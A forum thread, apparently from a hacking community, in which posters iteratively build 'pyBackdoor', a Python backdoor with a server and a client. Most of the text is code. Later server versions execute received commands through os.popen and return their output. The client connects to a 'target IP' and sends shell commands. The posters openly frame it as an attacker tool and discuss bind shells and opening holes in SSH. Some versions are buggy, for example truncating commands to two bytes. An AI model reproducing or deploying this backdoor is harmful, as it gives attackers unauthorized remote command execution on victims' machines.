It looks like you're new here. If you want to get involved, click one of these buttons!
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1a
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, socket
host = ''
port = 50106
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(1)
print(\"Server listening\n\")
conn, addr = s.accept()
print 'New connection from ', addr
while 1:
data = conn.recv(1024)
print data
conn.send('Command Received')
if data == ('hi\n'):
print 'works'
#!/usr/bin/python
# pyBackdoor - Python backdoor
# Client version 0.0.2a
# http://iexploit.org/
# Xinapse, Chroniccommand
import sys, socket
#Global declarations
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Enter the target IP...'
host = raw_input('>> ')
print 'Enter the target port...'
port = int(raw_input('>> '))
s.connect((host, port))
print ('Connected to %s' % (host))
print 'Enter your commands...'
while 1:
data = raw_input('>> ')
print 'sending data...'
s.send(data)
s.recv(1024)
s.close()
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n\")
choice = raw_input('>> ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
main()
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, socket
host = ''
port = 50107
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(5)
print(\"Server listening\n\")
conn, addr = s.accept()
print 'New connection from ', addr
while 1:
data = conn.recv(1000000) #Made it a larger number, so we can accept more bytes
print data
if data == ('hi\n'):
print 'works'
if not data: break
conn.send(data)
conn.close()
#!/usr/bin/python
# pyBackdoor - Python backdoor project
# Client version 0.0.1
# http://iexploit.org/
# Chroniccommand
import sys, socket
#Global declarations
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
s.send('TEST')
s.recv(10000)
s.close()
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n\")
choice = raw_input('Choice: ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
main()
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, socket
host = ''
port = 50107
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(5)
print(\"Server listening\n\")
conn, addr = s.accept()
print 'New connection from ', addr
while 1:
data = conn.recv(1000000) #Made it a larger number, so we can accept more bytes
print data
if data == ('hi\n'):
print 'works'
if not data: break
conn.send(data)
conn.close()
#!/usr/bin/python
# pyBackdoor - Python backdoor project
# Client version 0.0.1
# http://iexploit.org/
# Chroniccommand
import sys, socket
#Global declarations
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
s.send('TEST')
s.recv(10000)
s.close()
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n\")
choice = raw_input('Choice: ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
main()
Updated some things.
Server.py:
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, socket
host = ''
port = 50107
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(5)
print(\"Server listening\n\")
conn, addr = s.accept()
print 'New connection from ', addr
while 1:
data = conn.recv(1000000) #Made it a larger number, so we can accept more bytes
print data
if data == ('hi\n'):
print 'works'
if not data: break
conn.send(data)
conn.close()
Changes:
Added #!/usr/bin/python so the user can just type ./server.py instead of python server.py(if it's chmodded)
Changed host to '' which just means localhost. No need to really have a value for it.
Added a message that says which port the server has been started on.
Added a message that says the server is listening.
Changed the number of listens from 1 to 5. This is so we can have multiple connections at one time.
Made the conn.recv number bigger than 200 so we can accept more data from the client.
Client.py:
#!/usr/bin/python
# pyBackdoor - Python backdoor project
# Client version 0.0.1
# http://iexploit.org/
# Chroniccommand
import sys, socket
#Global declarations
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
s.send('TEST')
s.recv(10000)
s.close()
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n\")
choice = raw_input('Choice: ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
main()
Basic code. You should be able to figure out what it does.
This is just basic to get it functioning somewhat correctly. Right now all the client does is send the string 'TEST' to the server.
To do:
Well of course its buggy right now. What happens is once you connect to the server, it just sends TEST and ends. That's because I added s.close() for testing purposes. What we need to do is get the server to recognize commands and execute them.
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, os, socket
host = ''
port = 50106
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(5)
print(\"Server listening\n\")
conn, addr = s.accept()
print 'New connection from ', addr
while (1):
rc = conn.recv(2)
pipe = os.popen(rc)
readl = pipe.readlines()
file = conn.makefile('w', 0)
file.writelines(readl[:-1])
file.close()
conn.close()
#!/usr/bin/python
# pyBackdoor - Python backdoor project
# Client version 0.0.1
# http://iexploit.org/
# Chroniccommand
import sys, socket
#Global declarations
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
s.send('ls')
file = s.makefile('r', 0)
sys.stdout.writelines(file.readlines())
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n\")
choice = raw_input('Choice: ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
main()
This just occured to me. Why do this if there is already SSH / Telnet. Why not make a backdoor server program that opens a hole in SSH or binds to telnet so the attacker can just telnet or SSH to the machine.
This just occured to me. Why do this if there is already SSH / Telnet. Why not make a backdoor server program that opens a hole in SSH or binds to telnet so the attacker can just telnet or SSH to the machine.
Thats just a bind shell, it can be done on any port. This is a backdoor that makes it easier to do stuff that has built in commands
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, os, socket
host = ''
port = 50105
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(1)
while (1):
conn, addr = s.accept()
print 'New connection from ', addr
try:
while True:
rc = conn.recv(2)
pipe = os.popen(rc)
rl = pipe.readlines()
fl = conn.makefile('w')
fl.writelines(rl[:-1])
fl.close()
except IOError:
conn.close()
#!/usr/bin/python
# pyBackdoor - Python backdoor project
# Client version 0.0.1
# http://iexploit.org/
# Chroniccommand
import sys, socket
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = 'localhost'
port = input('Port: ')
s.connect((host, port))
while (1):
cmd = raw_input('$ ')
s.send(cmd)
file = s.makefile('r', 0)
sys.stdout.writelines(file.readlines())
file.close()
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n\")
choice = raw_input('Choice: ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
main()
#!/usr/bin/python
# pyBackdoor - Python backdoor
# Client version 0.0.2a
# http://iexploit.org/
# Xinapse, Chroniccommand
import sys, socket
#Global declarations
print(\"\"\"
( ) (
( ( )\ ) ( /( )\ ) (
` ) )\ ) )((_) ( /( ( )\())(()/( ( ( )(
/(/( (()/(((_)_ )(_)) )\ ((_)\ ((_)) )\ )\ (()\
((_)_\ )(_))| _ )((_)_ ((_)| |(_) _| | ((_) ((_) ((_)
| '_ \)| || || _ \/ _` |/ _| | / // _` |/ _ \/ _ \| '_|
| .__/ \_, ||___/\__,_|\__| |_\_\\__,_|\___/\___/|_|
|_| |__/
Version 0.0.1
Author: Chroniccommand
http://iexploit.org/
\"\"\")
def srvconn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Enter the target IP...'
host = raw_input('>> ')
print 'Enter the target port...'
port = int(raw_input('>> '))
s.connect((host, port))
print ('Connected to %s' % (host))
print 'Enter your commands...'
while 1:
data = raw_input('>> ')
print 'sending data...'
s.send(data)
s.recv(1024)
s.close()
def main():
print(\"\tWelcome to pyBackdoor v0.0.1\n\")
print(\"1 - Connect to server\n2 - Exit\n3 - Close server\n\")
choice = raw_input('>> ')
if choice == '1':
srvconn()
elif choice == '2':
sys.exit()
elif choice == '3':
data = 'q'
print 'sending close signal...'
s.send(data)
print 'signal sent...\nserver closed...'
s.close()
main()
#!/usr/bin/python
# pyBackdoor - Python Backdoor Project
# Server Version 0.0.1a
# http://www.iexploit.org
# Xinapse and Chroniccommand
import sys, socket
host = ''
port = 50106
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
print(\"Server started on port: \", port)
s.listen(1)
print(\"Server listening\n\")
conn, addr = s.accept()
print 'New connection from ', addr
while 1:
data = conn.recv(1024)
print data
conn.send('Command Received')
if data == ('hi\n'):
print 'works'
elif data == ('q'):
s.close()
sys.exit()